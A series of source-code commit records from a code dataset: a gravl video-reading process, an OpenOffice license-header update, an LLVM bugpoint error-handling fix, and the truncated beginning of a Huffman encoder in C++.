priv(uri));\n }\n\n if (d->uri.empty())\n {\n static std::string const reason = \"The URI given was empty\";\n config::value_t const value = config::value_t(d->uri);\n\n throw invalid_configuration_value_exception(name(), priv::config_uri, value, reason);\n }\n\n d->resource = gravl::raf::get_resource(d->uri.c_str());\n if (!d->resource)\n {\n std::string const reason = \"Failed to open the resource: \" + d->uri;\n\n throw invalid_configuration_exception(name(), reason);\n }\n\n d->video = d->resource.get_data<gravl::data_block>();\n if (!d->video)\n {\n static std::string const reason = \"Failed to obtain data_block from resource\";\n\n throw invalid_configuration_exception(name(), reason);\n }\n\n process::_configure();\n}\n\nvoid\nread_video_gravl_process\n::_init()\n{\n d->video->rewind();\n\n process::_init();\n}\n\nvoid\nread_video_gravl_process\n::_step()\n{\n datum_t dat;\n\n if (d->video->at_end())\n {\n mark_process_as_complete();\n dat = datum::complete_datum();\n }\n else if (!d->video)\n {\n static datum::error_t const err_string = datum::error_t(\"Error with input file stream.\");\n\n dat = datum::error_datum(err_string);\n }\n else\n {\n gravl::frame_ptr const frame = d->video->current_frame();\n gravl::image_data const* const image_data = frame.get_const_data<gravl::image_data>();\n gravl::image const image = (image_data ? image_data->pixels() : gravl::image());\n\n if (!image || image.format() != gravl::image::format_of<uint8_t>())\n {\n dat = datum::empty_datum();\n }\n else\n {\n gravl::image::dimension const dim = image.dimensions();\n gravl::image::stride const ps = image.strides();\n uint8_t const* const top_left = image.data<uint8_t>();\n size_t const size = compute_block_size(dim, ps);\n\n \/\/ Ugh, there is no way to create a vil_image_view from existing data\n \/\/ without arranging for said existing data to stick around, so stuck\n \/\/ having to copy the data (again) :-(\n vil_memory_chunk* const mem = new vil_memory_chunk(size, VIL_PIXEL_FORMAT_BYTE);\n uint8_t* const buffer = reinterpret_cast<uint8_t*>(mem->data());\n memcpy(buffer, compute_block_start(top_left, dim, ps), size);\n\n vil_image_view<vxl_byte> const vil(vil_memory_chunk_sptr(mem),\n compute_top_left(buffer, dim, ps),\n dim.width, dim.height, dim.planes,\n ps.width, ps.height, ps.planes);\n dat = datum::new_datum(vil);\n }\n\n d->video->advance();\n }\n\n push_datum_to_port(priv::port_output, dat);\n\n process::_step();\n}\n\nread_video_gravl_process::priv\n::priv(std::string const& input_uri)\n : uri(input_uri)\n{\n}\n\nread_video_gravl_process::priv\n::~priv()\n{\n}\n\n}\n\nsize_t\nsabs(ptrdiff_t a)\n{\n return static_cast<size_t>((a < 0 ? -a : a));\n}\n\nsize_t\ncompute_block_size(gravl::image::dimension dim, gravl::image::stride s)\n{\n return ((dim.width - 1) * sabs(s.width)) +\n ((dim.height - 1) * sabs(s.height)) +\n ((dim.planes - 1) * sabs(s.planes)) + 1;\n}\n\nptrdiff_t\ncompute_offset(gravl::image::dimension dim, gravl::image::stride s)\n{\n ptrdiff_t result = 0;\n if (s.width < 0)\n {\n result -= s.width * (dim.width - 1);\n }\n if (s.height < 0)\n {\n result -= s.height * (dim.height - 1);\n }\n if (s.planes < 0)\n {\n result -= s.planes * (dim.planes - 1);\n }\n return result;\n}\n\ntemplate <typename T>\nT*\ncompute_block_start(\n T* top_left, gravl::image::dimension dim, gravl::image::stride s)\n{\n return top_left - compute_offset(dim, s);\n}\n\ntemplate <typename T>\nT*\ncompute_top_left(\n T* top_left, gravl::image::dimension dim, gravl::image::stride s)\n{\n return top_left + compute_offset(dim, s);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: collelem.cxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: hr $ $Date: 2007-06-27 14:27:08 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_basic.hxx\"\n\n#ifndef _ERRCODE_HXX \/\/autogen\n#include <tools\/errcode.hxx>\n#endif\n#ifndef _SV_MSGBOX_HXX \/\/autogen\n#include <vcl\/msgbox.hxx>\n#endif\n#ifndef _SBXCLASS_HXX \/\/autogen\n#include <basic\/sbx.hxx>\n#endif\n#include \"collelem.hxx\"\n\n\/\/ Das Sample-Element ist ein kleines Objekt, das die Properties\n\/\/ Name und Value enthlt sowie die Methode Say, die den bergebenen\n\/\/ Text mit dem eigenen Namen verkoppelt und ausgibt.\n\nSampleElement::SampleElement( const String& r ) : SbxObject( r )\n{\n \/\/ Methode Say mit einem String-Parameter\n SbxVariable* pMeth = Make( String( RTL_CONSTASCII_USTRINGPARAM(\"Say\") ), SbxCLASS_METHOD, SbxEMPTY );\n pMeth->SetUserData( 0x12345678 );\n pMeth->ResetFlag( SBX_FIXED );\n SbxInfo* pInfo_ = new SbxInfo;\n pInfo_->AddParam( String( RTL_CONSTASCII_USTRINGPARAM(\"text\") ), SbxSTRING, SBX_READ );\n pMeth->SetInfo( pInfo_ );\n}\n\nvoid SampleElement::SFX_NOTIFY( SfxBroadcaster& rBC, const TypeId& rBCType,\n const SfxHint& rHint, const TypeId& rHintType )\n{\n const SbxHint* pHint = PTR_CAST(SbxHint,&rHint);\n if( pHint )\n {\n SbxVariable* pVar = pHint->GetVar();\n SbxArray* pPar_ = pVar->GetParameters();\n ULONG t = pHint->GetId();\n if( t == SBX_HINT_DATAWANTED && pVar->GetUserData() == 0x12345678 )\n {\n \/\/ Die Say-Methode:\n \/\/ 1 Parameter + Returnwert\n if( !pPar_ || pPar_->Count() != 2 )\n SetError( SbxERR_WRONG_ARGS );\n else\n {\n String s( GetName() );\n s.AppendAscii( \" says: \" );\n s += pPar_->Get( 1 )->GetString();\n pPar_->Get( 0 )->SetType(SbxSTRING);\n pPar_->Get( 0 )->PutString( s );\n InfoBox( NULL, s ).Execute();\n }\n return;\n }\n SbxObject::SFX_NOTIFY( rBC, rBCType, rHint, rHintType );\n }\n}\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.6.88); FILE MERGED 2008\/04\/01 15:01:57 thb 1.6.88.3: #i85898# Stripping all external header guards 2008\/04\/01 10:48:43 thb 1.6.88.2: #i85898# Stripping all external header guards 2008\/03\/28 16:07:37 rt 1.6.88.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: collelem.cxx,v $\n * $Revision: 1.7 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_basic.hxx\"\n#include <tools\/errcode.hxx>\n#include <vcl\/msgbox.hxx>\n#include <basic\/sbx.hxx>\n#include \"collelem.hxx\"\n\n\/\/ Das Sample-Element ist ein kleines Objekt, das die Properties\n\/\/ Name und Value enthlt sowie die Methode Say, die den bergebenen\n\/\/ Text mit dem eigenen Namen verkoppelt und ausgibt.\n\nSampleElement::SampleElement( const String& r ) : SbxObject( r )\n{\n \/\/ Methode Say mit einem String-Parameter\n SbxVariable* pMeth = Make( String( RTL_CONSTASCII_USTRINGPARAM(\"Say\") ), SbxCLASS_METHOD, SbxEMPTY );\n pMeth->SetUserData( 0x12345678 );\n pMeth->ResetFlag( SBX_FIXED );\n SbxInfo* pInfo_ = new SbxInfo;\n pInfo_->AddParam( String( RTL_CONSTASCII_USTRINGPARAM(\"text\") ), SbxSTRING, SBX_READ );\n pMeth->SetInfo( pInfo_ );\n}\n\nvoid SampleElement::SFX_NOTIFY( SfxBroadcaster& rBC, const TypeId& rBCType,\n const SfxHint& rHint, const TypeId& rHintType )\n{\n const SbxHint* pHint = PTR_CAST(SbxHint,&rHint);\n if( pHint )\n {\n SbxVariable* pVar = pHint->GetVar();\n SbxArray* pPar_ = pVar->GetParameters();\n ULONG t = pHint->GetId();\n if( t == SBX_HINT_DATAWANTED && pVar->GetUserData() == 0x12345678 )\n {\n \/\/ Die Say-Methode:\n \/\/ 1 Parameter + Returnwert\n if( !pPar_ || pPar_->Count() != 2 )\n SetError( SbxERR_WRONG_ARGS );\n else\n {\n String s( GetName() );\n s.AppendAscii( \" says: \" );\n s += pPar_->Get( 1 )->GetString();\n pPar_->Get( 0 )->SetType(SbxSTRING);\n pPar_->Get( 0 )->PutString( s );\n InfoBox( NULL, s ).Execute();\n }\n return;\n }\n SbxObject::SFX_NOTIFY( rBC, rBCType, rHint, rHintType );\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/===- BugDriver.cpp - Top-Level BugPoint class implementation ------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This class contains all of the shared state and information that is used by\n\/\/ the BugPoint tool to track down errors in optimizations. This class is the\n\/\/ main driver class that invokes all sub-functionality.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"BugDriver.h\"\n#include \"llvm\/Linker.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/Assembly\/Parser.h\"\n#include \"llvm\/Bytecode\/Reader.h\"\n#include \"llvm\/Support\/ToolRunner.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/FileUtilities.h\"\n#include <iostream>\n#include <memory>\n\nusing namespace llvm;\n\n\/\/ Anonymous namespace to define command line options for debugging.\n\/\/\nnamespace {\n \/\/ Output - The user can specify a file containing the expected output of the\n \/\/ program. If this filename is set, it is used as the reference diff source,\n \/\/ otherwise the raw input run through an interpreter is used as the reference\n \/\/ source.\n \/\/\n cl::opt<std::string>\n OutputFile(\"output\", cl::desc(\"Specify a reference program output \"\n \"(for miscompilation detection)\"));\n}\n\n\/\/\/ setNewProgram - If we reduce or update the program somehow, call this method\n\/\/\/ to update bugdriver with it. This deletes the old module and sets the\n\/\/\/ specified one as the current program.\nvoid BugDriver::setNewProgram(Module *M) {\n delete Program;\n Program = M;\n}\n\n\n\/\/\/ getPassesString - Turn a list of passes into a string which indicates the\n\/\/\/ command line options that must be passed to add the passes.\n\/\/\/\nstd::string llvm::getPassesString(const std::vector<const PassInfo*> &Passes) {\n std::string Result;\n for (unsigned i = 0, e = Passes.size(); i != e; ++i) {\n if (i) Result += \" \";\n Result += \"-\";\n Result += Passes[i]->getPassArgument();\n }\n return Result;\n}\n\nBugDriver::BugDriver(const char *toolname, bool as_child)\n : ToolName(toolname), ReferenceOutputFile(OutputFile),\n Program(0), Interpreter(0), cbe(0), gcc(0), run_as_child(as_child) {}\n\n\n\/\/\/ ParseInputFile - Given a bytecode or assembly input filename, parse and\n\/\/\/ return it, or return null if not possible.\n\/\/\/\nModule *llvm::ParseInputFile(const std::string &InputFilename) {\n Module *Result = 0;\n try {\n Result = ParseBytecodeFile(InputFilename);\n if (!Result && !(Result = ParseAssemblyFile(InputFilename))){\n std::cerr << \"bugpoint: could not read input file '\"\n << InputFilename << \"'!\\n\";\n }\n } catch (const ParseException &E) {\n std::cerr << \"bugpoint: \" << E.getMessage() << '\\n';\n Result = 0;\n }\n return Result;\n}\n\n\/\/ This method takes the specified list of LLVM input files, attempts to load\n\/\/ them, either as assembly or bytecode, then link them together. It returns\n\/\/ true on failure (if, for example, an input bytecode file could not be\n\/\/ parsed), and false on success.\n\/\/\nbool BugDriver::addSources(const std::vector<std::string> &Filenames) {\n assert(Program == 0 && \"Cannot call addSources multiple times!\");\n assert(!Filenames.empty() && \"Must specify at least on input filename!\");\n\n \/\/ Load the first input file...\n Program = ParseInputFile(Filenames[0]);\n if (Program == 0) return true;\n if (!run_as_child)\n std::cout << \"Read input file : '\" << Filenames[0] << \"'\\n\";\n\n for (unsigned i = 1, e = Filenames.size(); i != e; ++i) {\n std::auto_ptr<Module> M(ParseInputFile(Filenames[i]));\n if (M.get() == 0) return true;\n\n if (!run_as_child)\n std::cout << \"Linking in input file: '\" << Filenames[i] << \"'\\n\";\n std::string ErrorMessage;\n if (Linker::LinkModules(Program, M.get(), &ErrorMessage)) {\n std::cerr << ToolName << \": error linking in '\" << Filenames[i] << \"': \"\n << ErrorMessage << '\\n';\n return true;\n }\n }\n\n if (!run_as_child)\n std::cout << \"*** All input ok\\n\";\n\n \/\/ All input files read successfully!\n return false;\n}\n\n\n\n\/\/\/ run - The top level method that is invoked after all of the instance\n\/\/\/ variables are set up from command line arguments.\n\/\/\/\nbool BugDriver::run() {\n \/\/ The first thing to do is determine if we're running as a child. If we are,\n \/\/ then what to do is very narrow. This form of invocation is only called\n \/\/ from the runPasses method to actually run those passes in a child process.\n if (run_as_child) {\n \/\/ Execute the passes\n return runPassesAsChild(PassesToRun);\n }\n\n \/\/ If we're not running as a child, the first thing that we must do is \n \/\/ determine what the problem is. Does the optimization series crash the \n \/\/ compiler, or does it produce illegal code? We make the top-level \n \/\/ decision by trying to run all of the passes on the the input program, \n \/\/ which should generate a bytecode file. If it does generate a bytecode \n \/\/ file, then we know the compiler didn't crash, so try to diagnose a \n \/\/ miscompilation.\n if (!PassesToRun.empty()) {\n std::cout << \"Running selected passes on program to test for crash: \";\n if (runPasses(PassesToRun))\n return debugOptimizerCrash();\n }\n\n \/\/ Set up the execution environment, selecting a method to run LLVM bytecode.\n if (initializeExecutionEnvironment()) return true;\n\n \/\/ Test to see if we have a code generator crash.\n std::cout << \"Running the code generator to test for a crash: \";\n try {\n compileProgram(Program);\n std::cout << '\\n';\n } catch (ToolExecutionError &TEE) {\n std::cout << TEE.what();\n return debugCodeGeneratorCrash();\n }\n\n\n \/\/ Run the raw input to see where we are coming from. If a reference output\n \/\/ was specified, make sure that the raw output matches it. If not, it's a\n \/\/ problem in the front-end or the code generator.\n \/\/\n bool CreatedOutput = false;\n if (ReferenceOutputFile.empty()) {\n std::cout << \"Generating reference output from raw program: \";\n try {\n ReferenceOutputFile = executeProgramWithCBE(\"bugpoint.reference.out\");\n CreatedOutput = true;\n std::cout << \"Reference output is: \" << ReferenceOutputFile << '\\n';\n } catch (ToolExecutionError &TEE) {\n std::cerr << TEE.what();\n if (Interpreter != cbe) {\n std::cerr << \"*** There is a bug running the C backend. Either debug\"\n << \" it (use the -run-cbe bugpoint option), or fix the error\"\n << \" some other way.\\n\";\n return 1;\n }\n return debugCodeGeneratorCrash();\n }\n }\n\n \/\/ Make sure the reference output file gets deleted on exit from this\n \/\/ function, if appropriate.\n sys::Path ROF(ReferenceOutputFile);\n FileRemover RemoverInstance(ROF, CreatedOutput);\n\n \/\/ Diff the output of the raw program against the reference output. If it\n \/\/ matches, then we have a miscompilation bug.\n std::cout << \"*** Checking the code generator...\\n\";\n try {\n if (!diffProgram()) {\n std::cout << \"\\n*** Debugging miscompilation!\\n\";\n return debugMiscompilation();\n }\n } catch (ToolExecutionError &TEE) {\n std::cerr << TEE.what();\n return debugCodeGeneratorCrash();\n }\n\n std::cout << \"\\n*** Input program does not match reference diff!\\n\";\n std::cout << \"Debugging code generator problem!\\n\";\n try {\n return debugCodeGenerator();\n } catch (ToolExecutionError &TEE) {\n std::cerr << TEE.what();\n return debugCodeGeneratorCrash();\n }\n}\n\nvoid llvm::PrintFunctionList(const std::vector<Function*> &Funcs) {\n unsigned NumPrint = Funcs.size();\n if (NumPrint > 10) NumPrint = 10;\n for (unsigned i = 0; i != NumPrint; ++i)\n std::cout << \" \" << Funcs[i]->getName();\n if (NumPrint < Funcs.size())\n std::cout << \"... <\" << Funcs.size() << \" total>\";\n std::cout << std::flush;\n}\n<commit_msg>print a nice error if bugpoint gets an error reading inputs. Bug identified by coverity.<commit_after>\/\/===- BugDriver.cpp - Top-Level BugPoint class implementation ------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This class contains all of the shared state and information that is used by\n\/\/ the BugPoint tool to track down errors in optimizations. This class is the\n\/\/ main driver class that invokes all sub-functionality.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"BugDriver.h\"\n#include \"llvm\/Linker.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/Assembly\/Parser.h\"\n#include \"llvm\/Bytecode\/Reader.h\"\n#include \"llvm\/Support\/ToolRunner.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/FileUtilities.h\"\n#include <iostream>\n#include <memory>\n\nusing namespace llvm;\n\n\/\/ Anonymous namespace to define command line options for debugging.\n\/\/\nnamespace {\n \/\/ Output - The user can specify a file containing the expected output of the\n \/\/ program. If this filename is set, it is used as the reference diff source,\n \/\/ otherwise the raw input run through an interpreter is used as the reference\n \/\/ source.\n \/\/\n cl::opt<std::string>\n OutputFile(\"output\", cl::desc(\"Specify a reference program output \"\n \"(for miscompilation detection)\"));\n}\n\n\/\/\/ setNewProgram - If we reduce or update the program somehow, call this method\n\/\/\/ to update bugdriver with it. This deletes the old module and sets the\n\/\/\/ specified one as the current program.\nvoid BugDriver::setNewProgram(Module *M) {\n delete Program;\n Program = M;\n}\n\n\n\/\/\/ getPassesString - Turn a list of passes into a string which indicates the\n\/\/\/ command line options that must be passed to add the passes.\n\/\/\/\nstd::string llvm::getPassesString(const std::vector<const PassInfo*> &Passes) {\n std::string Result;\n for (unsigned i = 0, e = Passes.size(); i != e; ++i) {\n if (i) Result += \" \";\n Result += \"-\";\n Result += Passes[i]->getPassArgument();\n }\n return Result;\n}\n\nBugDriver::BugDriver(const char *toolname, bool as_child)\n : ToolName(toolname), ReferenceOutputFile(OutputFile),\n Program(0), Interpreter(0), cbe(0), gcc(0), run_as_child(as_child) {}\n\n\n\/\/\/ ParseInputFile - Given a bytecode or assembly input filename, parse and\n\/\/\/ return it, or return null if not possible.\n\/\/\/\nModule *llvm::ParseInputFile(const std::string &InputFilename) {\n Module *Result = 0;\n try {\n Result = ParseBytecodeFile(InputFilename);\n if (!Result && !(Result = ParseAssemblyFile(InputFilename))){\n std::cerr << \"bugpoint: could not read input file '\"\n << InputFilename << \"'!\\n\";\n }\n } catch (const ParseException &E) {\n std::cerr << \"bugpoint: \" << E.getMessage() << '\\n';\n Result = 0;\n }\n return Result;\n}\n\n\/\/ This method takes the specified list of LLVM input files, attempts to load\n\/\/ them, either as assembly or bytecode, then link them together. It returns\n\/\/ true on failure (if, for example, an input bytecode file could not be\n\/\/ parsed), and false on success.\n\/\/\nbool BugDriver::addSources(const std::vector<std::string> &Filenames) {\n assert(Program == 0 && \"Cannot call addSources multiple times!\");\n assert(!Filenames.empty() && \"Must specify at least on input filename!\");\n\n try {\n \/\/ Load the first input file.\n Program = ParseInputFile(Filenames[0]);\n if (Program == 0) return true;\n if (!run_as_child)\n std::cout << \"Read input file : '\" << Filenames[0] << \"'\\n\";\n\n for (unsigned i = 1, e = Filenames.size(); i != e; ++i) {\n std::auto_ptr<Module> M(ParseInputFile(Filenames[i]));\n if (M.get() == 0) return true;\n\n if (!run_as_child)\n std::cout << \"Linking in input file: '\" << Filenames[i] << \"'\\n\";\n std::string ErrorMessage;\n if (Linker::LinkModules(Program, M.get(), &ErrorMessage)) {\n std::cerr << ToolName << \": error linking in '\" << Filenames[i] << \"': \"\n << ErrorMessage << '\\n';\n return true;\n }\n }\n } catch (const std::string &Error) {\n std::cerr << ToolName << \": error reading input '\" << Error << \"'\\n\";\n return true;\n }\n\n if (!run_as_child)\n std::cout << \"*** All input ok\\n\";\n\n \/\/ All input files read successfully!\n return false;\n}\n\n\n\n\/\/\/ run - The top level method that is invoked after all of the instance\n\/\/\/ variables are set up from command line arguments.\n\/\/\/\nbool BugDriver::run() {\n \/\/ The first thing to do is determine if we're running as a child. If we are,\n \/\/ then what to do is very narrow. This form of invocation is only called\n \/\/ from the runPasses method to actually run those passes in a child process.\n if (run_as_child) {\n \/\/ Execute the passes\n return runPassesAsChild(PassesToRun);\n }\n\n \/\/ If we're not running as a child, the first thing that we must do is \n \/\/ determine what the problem is. Does the optimization series crash the \n \/\/ compiler, or does it produce illegal code? We make the top-level \n \/\/ decision by trying to run all of the passes on the the input program, \n \/\/ which should generate a bytecode file. If it does generate a bytecode \n \/\/ file, then we know the compiler didn't crash, so try to diagnose a \n \/\/ miscompilation.\n if (!PassesToRun.empty()) {\n std::cout << \"Running selected passes on program to test for crash: \";\n if (runPasses(PassesToRun))\n return debugOptimizerCrash();\n }\n\n \/\/ Set up the execution environment, selecting a method to run LLVM bytecode.\n if (initializeExecutionEnvironment()) return true;\n\n \/\/ Test to see if we have a code generator crash.\n std::cout << \"Running the code generator to test for a crash: \";\n try {\n compileProgram(Program);\n std::cout << '\\n';\n } catch (ToolExecutionError &TEE) {\n std::cout << TEE.what();\n return debugCodeGeneratorCrash();\n }\n\n\n \/\/ Run the raw input to see where we are coming from. If a reference output\n \/\/ was specified, make sure that the raw output matches it. If not, it's a\n \/\/ problem in the front-end or the code generator.\n \/\/\n bool CreatedOutput = false;\n if (ReferenceOutputFile.empty()) {\n std::cout << \"Generating reference output from raw program: \";\n try {\n ReferenceOutputFile = executeProgramWithCBE(\"bugpoint.reference.out\");\n CreatedOutput = true;\n std::cout << \"Reference output is: \" << ReferenceOutputFile << '\\n';\n } catch (ToolExecutionError &TEE) {\n std::cerr << TEE.what();\n if (Interpreter != cbe) {\n std::cerr << \"*** There is a bug running the C backend. Either debug\"\n << \" it (use the -run-cbe bugpoint option), or fix the error\"\n << \" some other way.\\n\";\n return 1;\n }\n return debugCodeGeneratorCrash();\n }\n }\n\n \/\/ Make sure the reference output file gets deleted on exit from this\n \/\/ function, if appropriate.\n sys::Path ROF(ReferenceOutputFile);\n FileRemover RemoverInstance(ROF, CreatedOutput);\n\n \/\/ Diff the output of the raw program against the reference output. If it\n \/\/ matches, then we have a miscompilation bug.\n std::cout << \"*** Checking the code generator...\\n\";\n try {\n if (!diffProgram()) {\n std::cout << \"\\n*** Debugging miscompilation!\\n\";\n return debugMiscompilation();\n }\n } catch (ToolExecutionError &TEE) {\n std::cerr << TEE.what();\n return debugCodeGeneratorCrash();\n }\n\n std::cout << \"\\n*** Input program does not match reference diff!\\n\";\n std::cout << \"Debugging code generator problem!\\n\";\n try {\n return debugCodeGenerator();\n } catch (ToolExecutionError &TEE) {\n std::cerr << TEE.what();\n return debugCodeGeneratorCrash();\n }\n}\n\nvoid llvm::PrintFunctionList(const std::vector<Function*> &Funcs) {\n unsigned NumPrint = Funcs.size();\n if (NumPrint > 10) NumPrint = 10;\n for (unsigned i = 0; i != NumPrint; ++i)\n std::cout << \" \" << Funcs[i]->getName();\n if (NumPrint < Funcs.size())\n std::cout << \"... <\" << Funcs.size() << \" total>\";\n std::cout << std::flush;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <string>\n#include <queue>\n#include <vector>\n#include <bitset>\n\nusing namespace std;\n\nstring inFileName;\nint frequencyList[256];\n\nstruct huffNode\n{\n\tint frequency;\n\tchar character;\n\thuffNode* left;\n\thuffNode* right;\n};\n\nstruct node_comparison\n{\n\tbool operator () (const huffNode* A, const huffNode* B) const\n\t{\n\t\treturn A->frequency > B->frequency;\n\t}\n};\n\nvoid generateEncodings(huffNode *root, vector<bool> & encoding, vector<vector<bool>> & encodingTable)\n{\n\tif (root != NULL) {\n\t\tif (root->character != -1)\n\t\t{\n\t\t\tencodingTable[root->character] = encoding;\n\t\t}\n\t\tvector<bool> leftEncoding = encoding;\n\t\tleftEncoding.push_back(false);\n\t\tvector<bool> rightEncoding = encoding;\n\t\trightEncoding.push_back(true);\n\n\t\tgenerateEncodings(root->left,leftEncoding,encodingTable);\n\t\tgenerateEncodings(root->right,rightEncoding,encodingTable);\n\t}\n}\n\nvoid generateInitialPQueue(int frequencyList[256], priority_queue<huffNode*, vector<huffNode*>, node_comparison> &nodeHeap)\n{\n\tfor (int i = 0; i < 256; i++)\n\t{\n\t\tif (frequencyList[i] != 0)\n\t\t{\n\t\t\thuffNode* tempNode;\n\t\t\ttempNode = new huffNode;\n\t\t\ttempNode->frequency=frequencyList[i];\n\t\t\ttempNode->character = (char)i;\n\t\t\ttempNode->left = NULL;\n\t\t\ttempNode->right = NULL;\n\t\t\tnodeHeap.push(tempNode);\n\t\t}\n\t}\n}\n\nvoid printPQueue(priority_queue<huffNode*, vector<huffNode*>, node_comparison> &nodeHeap)\n{\n\tif (nodeHeap.empty())\n\t{\n\t\tcout << \"There's nothing in the heap!\" << endl;\n\t}\n\twhile (!nodeHeap.empty())\n\t{\n\t\thuffNode* tempNode;\n\t\ttempNode = nodeHeap.top();\n\t\tcout << tempNode->character << endl;\n\t\tnodeHeap.pop();\n\t}\n}\n\nvoid initializeFrequencyList(int frequencyList[256])\n{\n\tfor (int i = 0; i < 256; i++)\n\t\tfrequencyList[i] = 0;\n}\n\nvoid generateFrequencyList(ifstream& fin, int frequencyList[256])\n{\n\tstring line = \"\";\n\twhile (!fin.eof())\n\t{\n\t\tgetline(fin,line);\n\t\tfor (int i = 0; i < line.length(); i++)\n\t\t{\n\t\t\tfrequencyList[line[i]] += 1;\n\t\t}\n\t\tfrequencyList[10] += 1;\n\t\tline = \"\";\n\t}\n\tfrequencyList[26] = 1;\n}\n\nvoid printFrequencyList(int frequencyList[256])\n{\n\tfor (int i = 0; i < 256; i++)\n\t{\n\t\tif (frequencyList[i] != 0)\n\t\t{\n\t\t\tcout << \"Character \" << (char)i << \": \" << frequencyList[i] << endl;\n\t\t}\n\t}\n}\n\nvoid getEncoding(vector<bool> bitString, string &encoding)\n{\n\tfor (int i = 0; i < bitString.size(); i++)\n\t{\n\t\tencoding += bitString[i];\n\t}\n}\n\nvoid printEncodings(vector<vector<bool>> encodingTable)\n{\n\tstring encoding = \"\";\n\tfor (int i = 0; i < 256; i++)\n\t{\n\t\tif (!(encodingTable[i].empty()))\n\t\t{\n\t\t\tgetEncoding(encodingTable[i], encoding);\n\t\t\tcout << \"Character \" << (char)i << \" encoding: \" << encoding << endl;\n\t\t\tencoding = \"\";\n\t\t}\n\t}\n}\n\nvoid generateHuffmanTree(priority_queue <huffNode*, vector<huffNode*>, node_comparison> &heap)\n{\n\tif (heap.size() <= 1)\n\t\treturn;\n\telse\n\t{\n\t\thuffNode *node1, *node2;\n\t\tnode1 = new huffNode;\n\t\tnode2 = new huffNode;\n\n\t\tnode1 = heap.top();\n\t\theap.pop();\n\t\tnode2 = heap.top();\n\t\theap.pop();\n\t\tint totalFreq = node1->frequency + node2->frequency;\n\n\t\thuffNode* newNode;\n\t\tnewNode = new huffNode;\n\t\tnewNode->frequency = totalFreq;\n\t\tnewNode->character = (char)255;\n\t\tnewNode->left = node1;\n\t\tnewNode->right = node2;\n\n\t\theap.push(newNode);\n\t\ttotalFreq = 0;\n\t\tgenerateHuffmanTree(heap);\n\t}\n}\n\nvoid streamFrequencyList(ofstream &fout)\n{\n\tfor (int i = 0; i < 256; i++)\n\t{\n\t\tif (frequencyList[i] != 0)\n\t\t{\n\t\t\tfout << i << ':' << frequencyList[i] << '!';\n\t\t}\n\t}\n}\n\nvoid convertBuffer(vector<bool> & ogBuffer, bitset<8> &newBuffer)\n{\n\tfor (int i = 0; i < ogBuffer.size(); i++)\n\t{\n\t\tnewBuffer[i] = ogBuffer[i];\n\t}\n}\n\nvoid checkBuffer(vector<bool> & bitBuffer, vector<bool> & encoding, ofstream &fout)\n{\n\twhile (encoding.size() != 0 )\n\t{\n\t\t\tint availableSpace = 8 - bitBuffer.size();\n\t\t\tfor (int i = 0; i < availableSpace; i++)\n\t\t\t{\n\t\t\t\tif (!encoding.empty())\n\t\t\t\t{\n\t\t\t\t\tbitBuffer.push_back(encoding[0]);\n\t\t\t\t\tencoding.erase(encoding.begin());\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (bitBuffer.size() == 8)\n\t\t\t{\n\t\t\t\t\/\/convert vector<bool> to bitbuffer for output\n\t\t\t\tbitset<8> outputBuffer;\n\t\t\t\tconvertBuffer(bitBuffer, outputBuffer);\n\t\t\t\tunsigned char n = outputBuffer.to_ulong();\n\t\t\t\tfout << 